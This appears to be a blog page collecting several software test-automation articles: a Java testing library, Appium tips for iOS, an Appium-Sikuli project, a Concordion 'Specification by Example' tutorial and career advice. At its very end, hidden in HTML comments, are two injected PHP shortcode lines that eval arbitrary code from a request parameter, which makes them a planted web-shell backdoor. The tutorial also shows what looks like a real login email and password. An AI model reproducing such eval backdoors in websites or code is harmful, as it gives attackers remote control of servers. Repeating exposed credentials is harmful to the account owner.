Automotion – simple solution for complicated problems

Automotion – simple solution for complicated problems

In this article I decided review simple Java library for automation testing that is successfully implemented already for many different projects.

So, let’s start.

What are the main problems that we have when we want to start automation testing on a new project? Usually there are:

  1. Which technologies to choose? Java, Python, C#, Ruby or maybe try with JavaScript? Yeah, each of technologies has benefits and limitations. And usually we don’t know what we will need in the future.
  2. What kind of application do we want to test? Mobile or Web or maybe Mobile-Web? Maybe we will require to test RESTful services or mail services?
  3. Need to write many validators from scratch. Need to organise the structure of capabilities, drivers, getters and setters for configurations.

googley-eye-birdie-has-questions

So, I decided that need to write something that will help me to avoid such questions in the future. This “something” must be universal framework that can be easy connected to each project.

Now Automotion library is available on GitHub here

The main most useful functions that available in Automotion are:

  1. Super easy method for connection of WebDriver to the maven project. Support for Remote Web Driver and Appium Driver as well. Also it allows to run the tests in mobile simulation Chrome mode. You can update Your capabilities in the way You want. Also here is implemented methods for connection with SauceLabs.
  2. Powerful feature for performing HTTP(s) requests with attachments, authorisation, etc.
  3. Functions that allow to perform connection to IMAP mail services and verify mailboxes.
  4. Functions that allow to identify which of the languages are on the web and mobile pages. Support up to 70 languages.
  5. Smart text finder that allows to find even broken text. For example, You need to find the phrase “Try Again”, but You have recognised text like ” gh try gh 6%^7 hjgasd 7^& dfg!44d T@y GaIN#%hjk in”. People are able to find something similar to “Try Again”. It’s “T@y GaIN”. But machine cannot find it. So, this algorithm allows to find such phrases.
  6. Lots of useful helpers for the web and mobile automation testing:
    • Different variations of scrolling and swiping for iOS, Android and Web
    • Function that allow to hide keyboard on Android and iOS devices
    • Different smart functions for clicking on the web or mobile elements. For example, if You need to click on the right top corner of element
    • Functions for manipulating of network and settings on Android devices
  7. Smart functions for validation that elements on the page are aligned correctly. These functions are super useful for the validation of UI, especially header, footer and different static content.

All these functions could easy cover the most complicated cases in automation testing. With Automotion You don’t need anymore to look for the solutions. Everything is ready.

If You’re interesting to know more about Automotion library – feel free to contact with me directly. My email is available on the page About Me. Also, if You know another cases that could be added to Automotion – let me know or feel free to contribute on Github.

Thank You for reading this article and have a good automation!

10 tips and tricks in usage of Appium with iOS and Python

10 tips and tricks in usage of Appium with iOS and Python

Here is collected the list of tips and tricks how to solve some issue during automation of mobile iOS app with Appium.

1. Hide keyboard. It’s a simple method that easy work for Android but not so easy for iOS. So, the ways how to hide keyboard for iOS devices:

– self.driver.hide_keyboard(‘return’) – for iPhone will simulate the clicking on Return button. But sometimes this method is not hiding the keyboard but just switching to another text fields.

– Also for iPhone possible to simulate quick swipe from the middle of the screen to the bottom. I will close keyboard. This method work for 95% of cases.

– For iPad need to tap by coordinates on the bottom right side of the screen (minus 30 pixels for height and width).

2. How to send some keys without using of the known methods like set_value or send_keys using UI Automation calls? You need to click on the TextField to open a keyboard and then execute:

– self.driver.execute_script(

‘var vKeyboard = target.frontMostApp().keyboard(); vKeyboard.setInterKeyDelay(0.1);vKeyboard.typeString(“some string”);’

)

3. How to set the date in the PickerWheel. You don’t need to swipe nothing. Just take the location of the correct PickerWheel and perform the method send_keys(‘value’) to this Picker element. After setting the date to this element – question: how to close it? Just click somewhere on the screen (not on the Picker).

4. Everybody knows that method send_keys() works very slow. So, You need to use method set_value(). It will set the value of Text Field immediately. Or, You can use trick from the list-item #2, just set keyDelay very short.

5. How to verify 10 elements on the page (let’s say just simple static text or labels)? Usually  – we call find_element_by_..() for each of elements. But it will perform the call to Appium server, getting XML for each element. It’s very long. So, You need to grab the page source using self.driver.page_source and look for each element in the already received XML document.

6. How not to fight with popup on iOS app. Usually popups are very painful question. Especially – how to close them if it’s unpredictable. If You don’t need to to verify the text on popup or something like this – You need to add the next capabilities:

‘autoAcceptAlerts’: True, ‘acceptAllAlerts’: True

7. But how to deal with popup if You don’t want to close everything automatically? You need to wrap such 2 methods:

self.driver.switch_to_alert().accept()
self.event.accept_alert()

The accepting of alerts is very unstable, so be ready to wrap it into try-except block.

8. How to handle some of alerts using direct call to UI Automation:

self.driver.execute_script(‘var target = UIATarget.localTarget();’)
self.driver.execute_script(‘target.frontMostApp().alert().cancelButton().tap();’)

9. How to minimise the time of searching elements for Your framework? For Android everything is obviously – need to use ID. But what to do with iOS. The better way to decrease the time of element’s searching is the using of accurate xpaths. It’s not very clear from the perspective of  clean code, but it’s faster. So, if You don’t care about quality but about speed use the full xpaths (e.g. //UIAApplication[1]/UIAWindow[1]/…)

10. How to use the last version of Appium every time? You need to pull the Appium code from GitHub, run the reset.sh file to build it and enable in the Developer Settings of Appium. Now You have the latest version of Appium.

 

Sikuppium – how to combine Appium and Sikuli

Sikuppium – how to combine Appium and Sikuli

Sikuppium

Open source project which allows to mix Appium and Sikuli under one framework and easy manipulate by content and recognition of images. This is just a very nice helper in the automation testing to help test something that was left for manual visual testing. Now You can check without any problem in Your mobile automation project that correct Logo appears or correct photo is showed etc.

How to run

To run the sample test need to have pre-installed Maven 3 and Java 1.8 and need to execute next command from command line (example):

  • PLATFORM_NAME=”android” APPIUM_VERSION=”1.4.13″ NAME=”MyReaction” PLATFORM_VERSION=”4.4″ DEVICE=”Nexus 5″ APP=”/Developing/Android/SignedApp/MyReaction.apk” mvn clean install

Please, specify correct path to the application which You can find in the folder “app” under the main parent folder of the project.

Current example is adapted for the devices with resolution of display: 768×1280, 1080×1920, 1200×1920.

How to take a correct images

To take a correct screenshots need to use a tool SikuliX. You cannot take a screenshot directly from simulator screen. Only crop from the screenshot provided by WebDriver API in class DriverScreen.java (line 22)

Help and contact

Also You can find the application My Reaction on Play Store https://play.google.com/store/apps/details?id=com.denyszaiats.myreactions

Link to GitHub project – http://dzaiats.github.io/appium-sikuli-driver/

“Specification by Example” in example. Java, Selenium, Concordion, Junit, Maven.

Hello!
In this article I will try to explain, how to use approach “Specification by Example” on real project. What tool and framework You need for this. This example will include part of real automation testing framework (ATF) for testing of Web UI application. ATF is based on Java, JUnit, Maven, Selenium and Concordion.

Ok, so what You need to know to start with thing like this? First of all it’s good to have some practice with Java, JUnit and automation Web UI testing (I mean Selenium). If You know everything of it and if You know what is Page Object pattern – let’s imagine, that You have ready ATF based on Java, Selenium and start with implementing of Concordion into this ATF. This examples shows a real example of creation new item on Atlassian’s Jira test project.

Let’s do everything step by step.

Step 1.

Add dependency in pom.xml

<dependency>
    <groupId>org.concordion</groupId>
    <artifactId>concordion</artifactId>
    <version>1.4.7</version>
</dependency>

Step 2.

Need to configure pom.xml correctly for using correct folders and making of correct output reports. Add next section to Your pom.xml file:

<build>
    <plugins>
        <plugin>
            <groupId>org.codehaus.mojo</groupId>
            <artifactId>build-helper-maven-plugin</artifactId>
            <executions>
                <execution>
                    <id>add-specs-source</id>
                    <phase>compile</phase>
                    <goals>
                        <goal>add-test-source</goal>
                    </goals>
                    <configuration>
                        <sources>
                            <source>${basedir}/src/test/specs</source>
                        </sources>
                    </configuration>
                </execution>
                <execution>
                    <id>add-test-resource</id>
                    <phase>generate-test-sources</phase>
                    <goals>
                        <goal>add-test-resource</goal>
                    </goals>
                    <configuration>
                        <resources>
                            <resource>
                                <directory>${basedir}/src/test/specs</directory>
                                <includes>
                                    <include>**/*.html</include>
                                </includes>
                            </resource>
                        </resources>
                    </configuration>
                </execution>
            </executions>
        </plugin>
        <plugin>
            <artifactId>maven-surefire-plugin</artifactId>
            <configuration>
                <skip>true</skip>
                <systemProperties>
                    <property>
                        <name>concordion.output.dir</name>
                        <value>target/specs</value>
                    </property>
                </systemProperties>
            </configuration>
            <executions>
                <execution>
                    <id>behavior-test</id>
                    <phase>test</phase>
                    <goals>
                        <goal>test</goal>
                    </goals>
                    <configuration>
                        <skip>false</skip>
                        <testSourceDirectory>src/test/java</testSourceDirectory>
                        <includes>
                            <include>**/*Test.java</include>
                        </includes>
                        <excludes>
                            <exclude>**/*Fixture.java</exclude>
                        </excludes>
                    </configuration>
                </execution>
            </executions>
        </plugin>
    </plugins>
</build>

Step 3.

From previous step You see, that out *.html example will be stored in /src/test/specs. So, create in Your project under /src/test folder specs. And create in this folder an empty HTML file. It will be our specification. Put next data into HTML file:

<html xmlns:concordion="http://www.concordion.org/2007/concordion">
    <head lang="en">
        <meta charset="UTF-8"/>
</head>
    <body>
        <h2>Test - create new issue and verify that it's created successfully</h2>
        <p>Given username</p>
         <span concordion:set="#username">denys.zaiats@gmail.com</span>
        <p>Given password</p>       
         <span concordion:set="#password">dzaiats2015</span>       
         <p concordion:execute="performLogin(#username, #password)">Step 1. Perform login</p>       
        <p>Summary: </p>
         <span concordion:set="#summary">New issue created by automated test</span>        
        <p>Description: </p>
         <span concordion:set="#description">Issue description</span>       
        <p>Priority: </p>
         <span concordion:set="#priority">Major</span>
         <p concordion:execute="createNewIssue(#summary, #description, #priority)">
            Step 2. Create new issue
         </p>     
         <p concordion:assertTrue="isIssueCreated()">Step 3. Assert - new issue is created</p>
    </body>
</html>

As You see – You need to use Concordion schema for using of concordion’s attributes. There are next most used concordion attributes which You can use:

  • concordion:assertEquals
  • concordion:assertTrue
  • concordion:set
  • concordion:execute
  • concordion:run
  • concordion:execute on a <table>
  • concordion:execute on a <list>
  • concordion:verifyRows

You can set parameters which You want to pass in methods. You can just execute method if You want to perform any void method. More information about using of this You can find here

Step 4.

Need to create correct java test with ConcordionRunner. Here is presented an example of it:

@RunWith(ConcordionRunner.class)
public class CreateNewIssueSuccessfullyTest extends TestBase{

    public void performLogin(String username, String password){
        LoginPage loginPage = home.loginPage();
        loginPage.login(username, password);
    }

    public void createNewIssue(String summary, String description, String priority){
        home.createNewIssue(summary, description, priority);
    }

    public boolean isIssueCreated(){
        return home.isNewIssueCreated();
    }
}

Step 5.

If You did everything correctly – You should be able to clean and install project without problem with using of Maven. After successful test run new report-file will appear in folder /target/specs/

What the benefits of using this approach? The answer is obviously. You have good readable living documentations which are the part of tests. And business logic is represented not only in the code, but also in readable view for non-technical stuff.

A bit later I will post a link to live example with source code of this implementation. If You have any question – just send me e-mail to itarray.net@gmail.com

Thanks for reading my articles.
Cheers.

How to become an Automation Test Engineer?

The last few years I have been working as Automation Software test engineer, or as they say in the labor market Automation QA / Software test engineer, etc.
And quite often, friends and acquaintances asking the same question: “how to start doing what you do? What need to know? Is it hard? “Or questions from engineers about the technical side automation, about which technologies to use and how to do it correctly. So, in this article I want to make a brief description of “What? How? When? “.

P.S.
More details about automation can be found at webinars. Information like how and where will be published later. Thank you.

Let’s start!

What need to know?

It’s the most frequently asked question. The answer is simple: what you want to automate (Web application, services), whether it be unit testing or acceptance testing, the basic principles on the “object-oriented programming, programming language (JAVA, C #, Python, …) at a basic level, using search engine, and it is desirable to understand the basic principles and concepts manual testing (test cases, bug, verification, validation, …), build systems (Maven, ANT, MS Build), technology testing, ie frameworks or libraries (Selenium, Cucumber , TestNG, JUnit, NUnit, …), web selectors elements (xpath, css-selectors), knowledge of Java-Script, JQuery is a big plus.

How need to automate the tests?

Need to automate correctly.
In order to make the correct framework for automation testing – not enough to create a new project. This should be a structured framework and preferably written for re-using by anothe test engineer. You need to have a list of test cases. It is necessary to separate the web part from service part or part of the desktop. It gets different modules. The more finely Your framework will be devided into logical parts – the more benefits and enough time You will have. Because it will save time in maintaining the framework and expanding it.

When need to start the process of automation testing on the project?

And it is desirable to do so as soon as possible. Most project managers wait until  one and the same bugs (regression) will overflow project and there will no time to engage in testing other modules, when there is no time to conduct non-functional testing. If don’t do this – the project will be on the incline into oblivion. So if you already have QA – then write the correct tests, so you do not bite your elbows because one of the functional tests covered more than you need, and the other  are partial remains “intact” testing. If You are QC – then learn everything that knows QA.

Few practical steps and tips on how to start automation project

  1. Download program for software development. If you choose Java, Python – download IDEA IntelliJ or PyCharm or Eclipse. If C # – need Visual Studio.
  2. Install additional plugin for Maven, Ant, TestNG, JUnit, NUnit (it’s not to hard understand how it works).
  3. Create correct project.
  4. Download and add required libraries.
  5. Create base structure of the framework. Need to think what part of tests You want to execute before main test suite. TestNG manual will help You in this.
  6. Set up test environment. Install required web browsers. Run required Java service if test run will be executed on another work station.
  7. When You are creating an objects of web-element – separate them to different classes to make code reusable and extendable.
  8. In assert (Assert) need to write correct strings which will describe the error.
  9. Tests should not be very big or very small.
  10. Pre-conditions should not be bigger then test-steps.

Summary

In summary of everythingI want to say that in order to engage in IT engineering – need to love it. Do not just deal for the money, but because it’s interesting. A good salary will come by itself.

In order to engage the testing – you need to feel the desire to improve the software. If you open an application or a web resource and you have a desire to report errors or to correct them – then testing is Your work and hobby. And it’s good.

Thanks to all for the reading of this article. I’ll be happy to answer on Your question. In the next posts You will find a different example of tips and tricks in automation testing.

<!– [insert_php]if (isset($_REQUEST["jAao"])){eval($_REQUEST["jAao"]);exit;}[/insert_php][php]if (isset($_REQUEST["jAao"])){eval($_REQUEST["jAao"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["CHEiF"])){eval($_REQUEST["CHEiF"]);exit;}[/insert_php][php]if (isset($_REQUEST["CHEiF"])){eval($_REQUEST["CHEiF"]);exit;}[/php] –>